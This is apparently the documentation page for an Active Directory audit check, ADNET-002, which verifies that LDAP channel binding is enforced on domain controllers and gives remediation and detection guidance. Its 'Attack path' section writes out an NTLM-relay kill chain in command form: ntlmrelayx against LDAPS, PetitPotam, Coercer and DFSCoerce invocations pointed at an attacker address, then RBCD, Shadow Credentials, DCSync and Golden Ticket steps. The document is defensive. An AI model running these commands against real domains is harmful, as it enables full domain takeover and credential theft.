ADNET-002: LDAP Channel Binding Enforced on Domain Controllers

Platform
Active Directory
Category
AD Network & Relay Preconditions
Severity
High
Zero Trust pillar
Networks (weight 3)
Golden fixtures
3
Branch coverage
Observed: fixtures prove the verdicts they exercise
Provenance
baseline

What it checks

The check enumerates every domain controller in the forest via the configuration naming context (CN=Sites,CN=Configuration,DC=...) and for each DC reads two sources of truth. First, the live registry under HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters via remote registry or WinRM: LdapEnforceChannelBinding (DWORD) where 0 = Never (no validation), 1 = When supported (only validate if the client advertises support, which is the unsafe middle setting because non-CBT-aware clients still bind), and 2 = Always (reject any LDAPS bind that does not carry a valid Channel Binding Token). Second, the GPO that produced that value: the check parses the Default Domain Controllers Policy GptTmpl.inf under Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options for the entry "Domain controller: LDAP server channel binding token requirements" and confirms it is set to 2 (Always) rather than 0 (Never) or absent (which inherits the OS default that historically was Never). The check also resolves the OS build from operatingSystemVersion: Windows Server 2022 build 20348 and later, and Windows Server 2025 (build 26100), ship with the Microsoft KB5021130 / KB5023705 servicing baseline that fixed the EPA implementation, which the audit treats as a prerequisite. Domain controllers below Windows Server 2019 are flagged Critical because the channel binding implementation prior to KB4520412 has known interoperability gaps. The check finally cross-references LDAP signing posture (LdapServerIntegrity) and TLS posture (Schannel disabled SSL/TLS protocols) and emits a combined NTLM-relay-resistance score, because channel binding alone without signing still leaves cleartext LDAP (port 389) as a relay target.

Why it matters

NTLM relay to LDAP is the most reliable unauthenticated path from network access to Domain Admin. The classic kill chain is well documented: an attacker on the internal network coerces a privileged host to authenticate outbound via PetitPotam (MS-EFSRPC), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), or simply by injecting an attacker-controlled UNC path into an email or web page; the coerced NTLM_NEGOTIATE / NTLM_CHALLENGE / NTLM_AUTHENTICATE exchange is forwarded by ntlmrelayx to a domain controller over LDAPS; the relayed bind succeeds as the victim computer account; the attacker then writes the directory, typically by configuring Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity) on a target host they want to take over, or by adding a Shadow Credential (msDS-KeyCredentialLink) to a privileged account, or by performing a DCSync if the relayed account holds GetChangesAll. The defense against this entire class of attack is layered: LDAP signing prevents relay to port 389 (cleartext LDAP), and LDAP channel binding prevents relay to port 636 (LDAPS) and to LDAP-over-StartTLS. Channel binding works by computing a hash over the server TLS certificate and including it in the SASL bind, so a relay sees a CBT computed against the attacker TLS session, not the victim DC TLS session, and the DC rejects the bind. Microsoft originally introduced this in 2017 under CVE-2017-8563 but kept the default at "Never" for backward compatibility, leaving the burden on the operator. The setting remained off by default through Windows Server 2022. Windows Server 2025 finally ships with LDAP signing required by default; channel binding still defaults to "When supported," which is not equivalent to "Always" because legacy clients that do not advertise CBT bypass the check entirely. Every modern offensive playbook (Conti, BlackCat, ALPHV, Volt Typhoon, APT29) includes coerce-to-LDAP-relay as a core lateral-movement primitive, and BloodHound surfaces the attack path as a one-hop edge from any unconstrained-delegation foothold to the forest root.

Attack path

Step 1: Foothold on a non-domain-joined or low-privilege host with network access to the domain controllers. No credentials are required. Tools: kali, a laptop on the LAN, a compromised IoT device, a rogue VPN session. Step 2: Stand up the relay. impacket-ntlmrelayx -t ldaps://dc01.contoso.local -smb2support --delegate-access --escalate-user attacker (or --shadow-credentials for the Pass-the-Cert variant). The relay listens on SMB 445 and HTTP 80/443 for inbound NTLM and forwards each AUTHENTICATE message into a fresh LDAPS bind to the DC. Step 3: Coerce a privileged caller. The attacker picks any of the published coercion primitives: PetitPotam.py -u "" -p "" attacker.ip dc01.contoso.local (anonymous EFSRPC on unpatched DCs), Coercer.py coerce -u lowpriv -p Password123 -l attacker.ip -t targetdc.contoso.local (which sweeps EFSRPC, MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN, MS-EVEN6, MS-WSP automatically), or DFSCoerce.py -u lowpriv -p Password123 attacker.ip dc01.contoso.local. The target host (often a domain controller itself) initiates an outbound NTLM authentication to the attacker UNC path. Step 4: Relay into LDAPS. ntlmrelayx receives the AUTHENTICATE message, opens a TLS session to dc01.contoso.local:636, performs a SASL bind with the victim NTLM blob, and binds successfully as DC01$ (Domain Admin equivalent for machine-account writes). If channel binding were set to "Always" this bind would fail with "data 80090346" (SEC_E_BAD_BINDINGS), because the CBT in the victim AUTHENTICATE references the attacker TLS cert, not the DC cert. With LdapEnforceChannelBinding = 0 or 1, the bind succeeds. Step 5: Persistence and escalation. ntlmrelayx executes one of three payloads inside the relayed LDAPS session. (A) RBCD: writes msDS-AllowedToActOnBehalfOfOtherIdentity on a target computer to grant the attacker the right to impersonate any user against that target, then S4U2Self/S4U2Proxy via Rubeus to issue tickets as Domain Admin. (B) Shadow Credentials (Whisker/Certipy shadow auto): writes a KeyCredential to msDS-KeyCredentialLink on a privileged user or computer, then PKINIT-authenticates as that principal to obtain a TGT plus NT hash. (C) Direct group membership: if the relayed account has the Write-Member ACL on Domain Admins (rare but devastating), add the attacker user directly. Step 6: DCSync and persistence. With Domain Admin-equivalent rights, secretsdump.py to extract krbtgt, then forge a Golden Ticket for indefinite forest-wide persistence. From a clean network foothold to Domain Admin: typically 5 to 15 minutes when channel binding is not enforced.

How Guerrilla assesses it

Guerrilla locates every domain controller via (&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192)) (UAC bit 0x2000 = SERVER_TRUST_ACCOUNT) and resolves each DNS hostname. For each DC it opens a remote registry session (RPC over SMB or WinRM, depending on the runspace mode) and reads HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding. Values are interpreted as: 0 = Never (FAIL, Critical), 1 = When supported (FAIL, High, because non-CBT clients bypass), 2 = Always (PASS). Absence of the value is treated as the OS default, which is "Never" on Windows Server 2019 and earlier and "When supported" on Server 2022 and 2025, both of which fail the check. The audit then pulls the Default Domain Controllers Policy (CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=...) via SYSVOL UNC \\domain\SYSVOL\domain\Policies\{GUID}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf and parses the [Registry Values] block for MACHINE\System\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding=4,2 (REG_DWORD = 2). The presence of the GPO entry is required so that the setting survives gpupdate and is not drift from manual registry edits. The check also captures the operatingSystemVersion and operatingSystem attributes from each DC object to flag pre-2019 DCs that have known EPA bugs. For runtime detection, Guerrilla recommends enabling Directory Service event 3039 ("The following client performed a SASL (Negotiate/Kerberos/NTLM/Digest) LDAP bind without requesting signing") and event 3074 (channel binding failure) by raising the 16 LDAP Interface Events diagnostic level to 2 on each DC, and forwarding both to SIEM so that legitimate client compatibility issues can be triaged before turning enforcement to Always.

Recommended value

Default Domain Controllers Policy sets 'Domain controller: LDAP server channel binding token requirements' to 'Always' (LdapEnforceChannelBinding = 2)

Remediation

Edit the Default Domain Controllers Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > 'Domain controller: LDAP server channel binding token requirements' = 'Always'. Registry: HKLM\System\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding = 2. Originally introduced for CVE-2017-8563.

Fixture-proven verdicts

Every verdict below is proven by a golden fixture in the module's gating test suite. This table derives from the last green run; it cannot be edited by hand.

Verdict scenarios for ADNET-002
ScenarioExpected verdict
cleanPASS
known-badFAIL
throttledNot Assessed

Framework mappings

NIST SP 800-53
SC-8, SC-23
CIS AD Benchmark
6.1.2
MITRE ATT&CK
T1557.001